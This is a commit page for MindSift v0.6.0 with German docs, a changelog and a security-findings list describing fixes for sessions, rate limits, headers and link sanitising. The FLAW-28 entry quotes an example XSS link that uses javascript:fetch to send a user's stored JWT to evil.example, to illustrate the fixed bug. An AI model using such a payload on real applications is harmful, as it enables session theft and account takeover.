Merge branch 'dev' into main: v0.6.0

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
sandrodachandClaude Opus 5.5 committed 2026-10-29 20:41:01 +01:00
commit 5be313f406
59 files changed
+1734 -187

No files matched your search

+2
View File
@@ -4,6 +4,7 @@ name: MindSift CI & Docker Release
# push to dev -> :dev
# push/merge main -> :latest
# git tag v1.2.0 -> :v1.2.0 and :stable
# git tag v1.2.0-rc.1 (pre-release) -> :v1.2.0-rc.1 only, :stable stays
on:
push:
branches:
@@ -39,6 +40,7 @@ jobs:
# All tags of this run (space separated)
case "${GITHUB_REF:-}" in
refs/tags/*-*) TAGS="${DOCKER_TAG}" ;;
refs/tags/*) TAGS="${DOCKER_TAG} stable" ;;
refs/heads/main) TAGS="latest" ;;
*) TAGS="${DOCKER_TAG}" ;;
+45
View File
@@ -0,0 +1,45 @@
# Changelog
Alle nennenswerten Änderungen an MindSift stehen in dieser Datei.
Das Format folgt [Keep a Changelog](https://keepachangelog.com/de/1.1.0/), die Versionsnummern folgen ab v0.6.0 [Semantic Versioning](https://semver.org/spec/v2.0.0.html). Solange die Hauptversion 0 ist, können sich API und Datenformate mit jeder Minor-Version ändern; solche Änderungen stehen unter „Changed“ bzw. „Removed“ und sind mit **Achtung** markiert.
## [Unreleased]
## [0.6.0] - 2026-10-29
### Added
- Profil → „Aktive Sitzungen“: Liste der angemeldeten Geräte mit letzter Nutzung und „Abmelden“ je Gerät.
- API: `GET /auth/sessions`, `DELETE /auth/sessions/{id}`.
- Triage: Gibt es genau eine beschreibbare Liste, setzt „Auf ‹Listenname›“ den Gedanken direkt darauf, ohne Auswahl. Nur lesbar geteilte Listen werden beim Erfassen und in der Triage nicht mehr angeboten.
### Changed
- **Achtung:** Nach dem Update sind alle Benutzer einmal abgemeldet (neue Sitzungsverwaltung, die alte Sperrliste `revoked_tokens` entfällt).
- **Achtung:** `?token=` in der URL von `/webhooks/ingest` nimmt nur noch API-Keys (`mindsift_sec_…`) an.
- **Achtung:** `GET /admin/settings` liefert `smtpPass` nicht mehr; neu ist `smtpPassSet`.
- **Achtung:** `PATCH /auth/settings` verlangt für `password` und `email` das Feld `currentPassword`, sonst `403`.
- Versionsnummern folgen jetzt Semantic Versioning mit dreiteiligen Tags (`v0.6.0`); die Kopfzeile zeigt die volle Version (`v0.6.0-dev` für Entwicklungsstände). Vorabversionen wie `v1.0.0-rc.1` verschieben das Image `:stable` nicht.
- Das Mengenfeld in Listen öffnet auf dem Handy die Zahlentastatur.
### Fixed
- Große Downloads (Backups, Exporte) brachen nach 30 Sekunden ab, große Importe nach 15 Sekunden Upload (FLAW-38).
- Der Offline-Start der App funktioniert zuverlässig: Ein altes Script in der Startseite hat bei jedem Aufruf alle Caches des Service Workers gelöscht.
### Security
- Links in Notizen, Aufgaben-Notizen und Impressum öffnen nur noch `http`, `https` und `mailto`; `javascript:` und ähnliche Links erscheinen als Text. Vorher konnte ein Bearbeiter einer geteilten Aufgabenliste über einen präparierten Link Code im Browser anderer ausführen (FLAW-28).
- Sicherheits-Header für alle Antworten: Content-Security-Policy (Scripts nur von MindSift selbst, keine Einbettung in fremde Seiten), `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`, `Permissions-Policy` (FLAW-29).
- Passwort und Login-E-Mail lassen sich nur noch mit dem aktuellen Passwort ändern; die bisherige Adresse bekommt eine Hinweismail, wenn SMTP eingerichtet ist (FLAW-30).
- Anmeldungen sind serverseitige Sitzungen: Jedes Gerät lässt sich einzeln abmelden, unbenutzte Sitzungen enden nach 30 Tagen, aktive werden täglich erneuert. Ein neues Passwort meldet alle anderen Geräte ab (FLAW-31).
- IDs neuer Datensätze haben 96 statt 40 Zufallsbits, Einladungscodes eigene 100 Bit (`INV-ABCDE-FGHIJ-KLMNO-PQRST`); vorhandene IDs und Codes bleiben gültig (FLAW-32).
- Registrierung und „Passwort vergessen“ sind pro Adresse begrenzt (20 bzw. 10 Anfragen in 15 Minuten), Einladungscodes lassen sich so nicht durchprobieren (FLAW-39).
- Ein Einladungscode lässt sich auch bei gleichzeitigen Registrierungen nur einmal einlösen (FLAW-40).
- Öffentliche Demo: verschickt nichts mehr (Alarme, Testalarme, SMTP-Test, Hinweismails), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail, Sitzungen und Konten der gemeinsamen Demo-Konten lassen sich nicht ändern; die Sitzungsliste zeigt nur das eigene Gerät (FLAW-33).
- Das SMTP-Passwort wird nie mehr an den Browser geschickt; leer lassen behält das gespeicherte (FLAW-34).
- `?token=` beim Webhook-Ingest nimmt nur noch API-Keys an, keine Sitzungs-Tokens (FLAW-35).
- Anfragekörper sind auf 2 MB begrenzt, Notiz-Sync auf 8 MB, Importe auf 101 MB (FLAW-36).
- Konto löschen entfernt auch die Server-Backups des Kontos (FLAW-37).
<!-- Ältere Versionen (bis v0.5.2) werden aus der Git-Historie nachgetragen. -->
[Unreleased]: https://git.dsit.me/sandrodach/MindSift/compare/v0.6.0...dev
[0.6.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5.2...v0.6.0
+1 -1
View File
@@ -27,7 +27,7 @@ Referenz für Entwickler und Administratoren. Alle Angaben wurden gegen den Code
- **Datenhaltung:** vollständig in SQLite. Es gibt keine `.md`-Dateien auf der Platte; Markdown wird bei Bedarf aus den Blöcken erzeugt (`documents.markdown_cache`, Export als `.md`).
- **Echtzeit:** ein Hub mit Räumen und Benutzer-Kanälen (WebSocket, SSE als Ersatz). Verteilt werden Ereignisse nach Änderungen.
- **Notizen gemeinsam bearbeiten:** server-autoritatives Operations-Log mit Versionen und Sperren pro Bullet, Konfliktkopien statt Überschreiben, Offline-Warteschlange in IndexedDB, Abgleich auch hinter restriktiven Proxys ([modules/collaboration.md](modules/collaboration.md)).
- **Auth:** JWT (HS256, 30 Tage) mit `token_version` und Sperrliste, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
- **Auth:** JWT (HS256) mit serverseitiger Sitzung (`sessions`, gleitend 30 Tage) und `token_version`, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
- **Freigaben:** Aufgabenlisten, geteilte Listen, Notizen und Ordner jeweils mit Rolle Bearbeiter oder Leser.
## Entwickeln
+9 -7
View File
@@ -1,6 +1,6 @@
# REST-API
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern nur Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern nur Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Anfragekörper sind auf 2 MB begrenzt (Notiz-Sync 8 MB, Importe 101 MB). Im Demo-Modus antworten Endpunkte, die etwas verschicken, Server-Einstellungen ändern oder die gemeinsamen Demo-Konten verändern würden, mit `403` „In der Demo deaktiviert“. Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
## Öffentlich
@@ -10,12 +10,12 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
| GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode`, `sharingMode`, `legal` (`imprintUrl`, `hasImprintContent`, `privacyUrl`, `hasPrivacyContent`) |
| GET | `/legal/{imprint\|privacy}` | Hinterlegter Markdown-Text (`content`), ohne Anmeldung; `404`, wenn keiner gesetzt ist |
| POST | `/auth/setup` | Erstes Administratorkonto (`email`, `password`, `displayName`, `instanceName`, `allowRegistration`, `sharingMode`, `seedSampleData`); nur solange es keine Konten gibt |
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben |
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben; `429` nach 20 Versuchen pro Adresse in 15 Minuten |
| POST | `/auth/login` | Anmeldung (`login`/`email`/`username`, `password`) → `{token, user}` |
| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen |
| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen; `429` nach 10 Anfragen pro Adresse in 15 Minuten |
| POST | `/auth/reset-password` | `{token, password}` (mind. 8 Zeichen) → neues Passwort, alle Sitzungen beendet; `400` bei ungültigem oder abgelaufenem Link |
| POST | `/auth/quickstart` | Immer `403` (Gastzugang deaktiviert) |
| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=`. Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste |
| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=` (in der URL nur API-Keys, keine Sitzungs-Tokens). Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste |
| POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE |
| GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); `?ticket=` oder `Authorization`-Header |
| GET | `/events` | SSE-Fallback; `?ticket=` oder `Authorization`-Header |
@@ -26,9 +26,11 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
|---|---|---|
| GET | `/auth/me` | Benutzer und Kennzahlen |
| POST | `/events/rooms` | SSE-Raum beitreten/verlassen (`sseId`, `room`, `action`); nur eigene `sseId`, nur Räume mit Lesezugriff |
| POST | `/auth/logout` | Token sperren |
| POST | `/auth/logout` | Sitzung dieses Geräts beenden |
| GET | `/auth/sessions` | Angemeldete Geräte: `[{id, createdAt, lastUsedAt, userAgent, ip, current}]` |
| DELETE | `/auth/sessions/{id}` | Ein Gerät abmelden; `404` bei fremder oder unbekannter Sitzung |
| POST | `/auth/revoke-all` | Alle Sitzungen beenden (`token_version` +1) |
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes` |
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes`. Neue `email` oder `password` nur mit `currentPassword` (`403` bei falschem, `429` bei Login-Sperre); nach neuem Passwort sind andere Geräte abgemeldet, das neue Token kommt im Header `X-Session-Token` |
| POST | `/auth/alarms/test` | Test-Alarm (`channel`: `email`/`discord`/`webhook`, optional `target`) |
| GET | `/users/directory`, `/collaborators` | Personen, die man sehen und mit denen man teilen kann (je nach `sharingMode`, [sharing-and-permissions.md](../sharing-and-permissions.md)) |
| GET | `/stats` | Zähler fürs Dashboard (u. a. `inboxCount`, `tasksOpenCount`, `listItemsOpenCount` = offene Einträge aller sichtbaren Listen) |
@@ -188,7 +190,7 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
| PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen |
| PUT | `/admin/users/{id}/password` | Passwort zurücksetzen |
| GET/POST/DELETE | `/admin/invites[/{id}]` | Einladungen (`email`, `role`, `organizationId`, `validDays`) |
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben |
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben. `smtpPass` kommt nie zurück (`smtpPassSet` zeigt, ob eines gespeichert ist); leer = unverändert |
| GET | `/admin/settings/sharing-impact?mode=` | Probelauf: wie viele Freigaben und Gruppen-Mitgliedschaften ein Wechsel entfernen würde (`affected`) |
| POST | `/admin/smtp/test` | Testmail (`toEmail`) |
| GET/POST | `/admin/backups` | Datenbank-Abzüge auflisten bzw. sofort sichern (Abzug + alle Benutzer-Backups) |
+10 -7
View File
@@ -60,12 +60,12 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
| `DATABASE_URL` | leer | `sqlite:///pfad/datei.db` oder Pfad; ohne Angabe `DATA_DIR/mindsift.db`. Postgres-URLs werden **nicht** unterstützt (siehe Hinweis) |
| `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert |
| `TRUSTED_PROXIES` | `private` | Proxys, deren `X-Forwarded-For`/`X-Real-IP` geglaubt wird (`private`, `all`, `none`, CIDR-Liste); `internal/api/clientip.go` |
| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen (`internal/api/loginguard.go`), `false` = aus |
| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen und Limits für Registrierung und „Passwort vergessen“ (`internal/api/loginguard.go`), `false` = aus |
| `BASE_URL` | `http://localhost:<PORT>` | Basis-URL der Instanz; explizit gesetzt Voraussetzung für das Passwort-Zurücksetzen per Mail |
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme; die Zeitzonendaten sind ins Binary eingebettet (`time/tzdata`) |
| `ALLOW_REGISTRATION` | `false` | Startwert; die Einstellung im Admin-UI (`system_settings`) hat Vorrang |
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | `debug`, `info`, `warn`, `error`; `DEBUG=true` erzwingt `debug` |
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen |
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen. Die Demo verschickt nichts (keine Alarme, Test- oder Hinweismails, Webhooks), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail und Konten der gemeinsam genutzten Demo-Konten lassen sich nicht ändern (`notInDemo` in `internal/api/demo.go`) |
| `DEMO_RESET_MINUTES` | `20` | Demo-Modus: periodischer Reset auf die Beispieldaten (`0` = aus). Feste IDs der Demo-Konten (`usr_demo_admin`, `usr_demo_user`) halten Sitzungen gültig; laufende Anfragen sperren den Reset (`internal/api/demo.go`, Streams ausgenommen); danach `DEMO_RESET` an alle Verbindungen, `/auth/status` liefert `demoNextReset`/`demoResetInSeconds`. |
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer / `587` / `true` | Mailversand, auch im Admin-UI einstellbar |
| `SMTP_SKIP_VERIFY` | `false` | Zertifikat des Mailservers nicht prüfen (nur interne Server mit selbstsigniertem Zertifikat) |
@@ -77,9 +77,10 @@ Hinweis: `DATABASE_URL` mit `postgres…` führt dazu, dass der Standardpfad in
## Authentifizierung
- **Login** mit E-Mail, Benutzername (aus dem E-Mail-Präfix) oder `login`. Passwörter: bcrypt (`DefaultCost`).
- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`).
- **JWT:** HS256, Laufzeit 30 Tage, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Gültig nur, wenn Token nicht in `revoked_tokens` steht, das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
- **Logout** schreibt den Token-Hash in `revoked_tokens`.
- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`). Dieselben Töpfe begrenzen pro Adresse Registrierungen (20) und „Passwort vergessen“ (10) je 15 Minuten; hier zählt jede Anfrage.
- **Einladungscodes:** `INV-` plus 100 Zufallsbits in Base32. Die Registrierung beansprucht den Code, bevor das Konto entsteht (kein doppeltes Einlösen).
- **JWT und Sitzungen:** HS256, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Jede Anmeldung legt eine Zeile in `sessions` an (Gerät, IP, letzte Nutzung); `jti` ist deren ID. Gültig ist ein Token nur, wenn die Sitzung aktiv ist (nicht beendet, höchstens 30 Tage unbenutzt), das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Ist das Token älter als 24 Stunden, schickt der Server im Header `X-Session-Token` ein neues für dieselbe Sitzung; das Frontend übernimmt es (`request()` in `lib/api.ts`). Aktive Geräte bleiben so angemeldet, unbenutzte fallen nach 30 Tagen heraus (`internal/api/sessions.go`). Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
- **Logout** beendet die Sitzung des Geräts; `GET /auth/sessions` listet die Geräte, `DELETE /auth/sessions/{id}` meldet eines ab. Passwort und Login-E-Mail ändern sich nur mit dem aktuellen Passwort (`currentPassword`, falsche Eingaben zählen für die Login-Sperre); ein neues Passwort meldet alle anderen Geräte ab, dieses Gerät erhält per `X-Session-Token` ein neues Token. Ist SMTP eingerichtet, geht eine Hinweismail an die bisherige Adresse.
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und darf nur Daten anliefern (`POST /inbox`, `POST /webhooks/ingest`); alle anderen Endpunkte antworten mit `403`.
- **Passwort vergessen:** nur wenn SMTP und `BASE_URL` gesetzt sind (nicht im Demo-Modus; `passwordReset` in `/auth/status`). `POST /auth/forgot-password` antwortet immer gleich und verschickt die Mail im Hintergrund, höchstens alle 2 Minuten pro Konto. Der Link `BASE_URL/?resetToken=…` gilt eine Stunde und einmal; gespeichert wird nur der SHA-256-Hash (`password_reset_tokens`). `POST /auth/reset-password` setzt das Passwort, entwertet alle offenen Links des Kontos und erhöht `token_version` (alle Sitzungen enden). Die App entfernt den Token sofort aus der Adresszeile.
- **Registrierung:** nur mit Einladungscode oder wenn `allow_registration` aktiv ist. Das erste Konto entsteht über `/auth/setup` und wird Administrator.
@@ -100,9 +101,11 @@ Stage 2 golang:1.23 go vet, go test, go build → /app/mindsift (
Stage 3 alpine:3.21 nur Binary, ca-certificates, tzdata
```
**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`. Andere Branches bauen nicht.
**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`; Vorabversionen (`v1.2.0-rc.1`) nur `:v1.2.0-rc.1`, `:stable` bleibt. Andere Branches bauen nicht.
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.2`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.2-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
**Versionierung:** Ab v0.6.0 nach [Semantic Versioning](https://semver.org/spec/v2.0.0.html): `MAJOR.MINOR.PATCH`, Tags dreiteilig mit `v` (`v0.6.0`, `v1.0.0-rc.1`). Solange die Hauptversion 0 ist, erhöhen inkompatible Änderungen (API, Datenformate, Konfiguration) die mittlere Stelle, Fehlerbehebungen die letzte. Jede Änderung, die Benutzer oder Betreiber betrifft, kommt in [CHANGELOG.md](../CHANGELOG.md) unter „Unreleased“ (Format [Keep a Changelog](https://keepachangelog.com/de/1.1.0/)); beim Release wird der Abschnitt zur Version mit Datum, `frontend/package.json` bekommt die Versionsnummer.
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.6.0`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.6.0-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go test -v ./...`); ein Fehler bricht den Build ab. Frontend-Tests liegen unter `frontend/src/**/__tests__/` (Vitest + jsdom + Testing Library, Setup in `frontend/src/test/setup.ts`).
+2 -2
View File
@@ -1,6 +1,6 @@
# Datenbank
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`).
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`) und 96 Zufallsbits in Hex; ältere Datensätze haben kürzere IDs (40 Bit).
## Tabellen
@@ -10,7 +10,7 @@ SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `j
|---|---|---|
| `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url`, `organization_id` (leer = keine Organisation) |
| `user_invites` | Einladungscodes | `code`, `email`, `role`, `organization_id`, `expires_at`, `used_by` |
| `revoked_tokens` | Sperrliste ausgeloggter JWTs | `token_hash`, `expires_at` |
| `sessions` | Angemeldete Geräte (Migration 4, ersetzt `revoked_tokens`) | `id` (= `jti` des Tokens), `user_id`, `created_at`, `last_used_at` (höchstens alle 5 Minuten aktualisiert), `user_agent`, `ip`, `revoked_at` (leer = aktiv) |
| `user_themes` | Eigene CSS-Themes eines Benutzers | `user_id` (FK, `ON DELETE CASCADE`), `name`, `css_content` |
| `api_keys` | Webhook-/API-Schlüssel | `key_prefix`, `key_hash` (SHA-256), `scopes` (nicht ausgewertet), `last_used_at` |
| `system_settings` | Schlüssel/Wert für Instanz-Einstellungen | `sharing_mode`, `allow_registration`, `instance_name`, `smtp_*` |
+29 -16
View File
@@ -10,19 +10,19 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
| ID | Bereich | Kurzbeschreibung | Schwere |
|---|---|---|---|
| FLAW-28 | Frontend | `javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt | Hoch |
| FLAW-29 | Netzwerk | Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`) | Mittel |
| FLAW-30 | Konto | Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern | Mittel |
| FLAW-31 | Auth | Sitzungs-Token 30 Tage gültig und im `localStorage` | Mittel |
| FLAW-32 | Daten | IDs und Einladungscodes haben nur 40 Bit Zufall | Mittel |
| FLAW-33 | Demo | Demo-Admin kann Server-Einstellungen ändern (u. a. Webhooks ins lokale Netz) | Mittel |
| FLAW-34 | Admin | SMTP-Passwort im Klartext an die Oberfläche, in DB und Datenbank-Backups | Niedrig |
| FLAW-35 | Netzwerk | Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=` | Niedrig |
| FLAW-36 | Backend | Kein allgemeines Größenlimit für JSON-Anfragen | Niedrig |
| FLAW-37 | Datenschutz | Konto löschen entfernt die Server-Backups des Kontos nicht | Niedrig |
| FLAW-38 | Betrieb | `WriteTimeout` von 30 s bricht große Downloads ab | Niedrig |
| FLAW-39 | Auth | Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse | Niedrig |
| FLAW-40 | Auth | Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar | Niedrig |
| FLAW-28 | Frontend | ~~`javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt~~ | **Behoben** |
| FLAW-29 | Netzwerk | ~~Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`)~~ | **Behoben** |
| FLAW-30 | Konto | ~~Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern~~ | **Behoben** |
| FLAW-31 | Auth | ~~Sitzungs-Token 30 Tage gültig und im `localStorage`~~ | **Teilweise behoben** |
| FLAW-32 | Daten | ~~IDs und Einladungscodes haben nur 40 Bit Zufall~~ | **Behoben** |
| FLAW-33 | Demo | ~~Öffentliche Demo als Absender missbrauchbar (Alarm-Webhooks, Testmails, Server-Einstellungen)~~ | **Behoben** |
| FLAW-34 | Admin | ~~SMTP-Passwort im Klartext an die Oberfläche~~, in DB und Datenbank-Backups | **Teilweise behoben** |
| FLAW-35 | Netzwerk | ~~Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=`~~ | **Behoben** |
| FLAW-36 | Backend | ~~Kein allgemeines Größenlimit für JSON-Anfragen~~ | **Behoben** |
| FLAW-37 | Datenschutz | ~~Konto löschen entfernt die Server-Backups des Kontos nicht~~ | **Behoben** |
| FLAW-38 | Betrieb | ~~`WriteTimeout` von 30 s bricht große Downloads ab~~ | **Behoben** |
| FLAW-39 | Auth | ~~Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse~~ | **Behoben** |
| FLAW-40 | Auth | ~~Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar~~ | **Behoben** |
| FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig |
---
@@ -30,11 +30,13 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
## Details
### FLAW-28: `javascript:`-Links in Markdown
- **Status: Behoben.** `safeHref` ([lib/safeUrl.ts](../frontend/src/lib/safeUrl.ts)) lässt nur `http:`, `https:` und `mailto:` zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: `safeUrl.test.tsx`.
- **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz.
- **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt.
- **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
### FLAW-29: Keine Sicherheits-Header
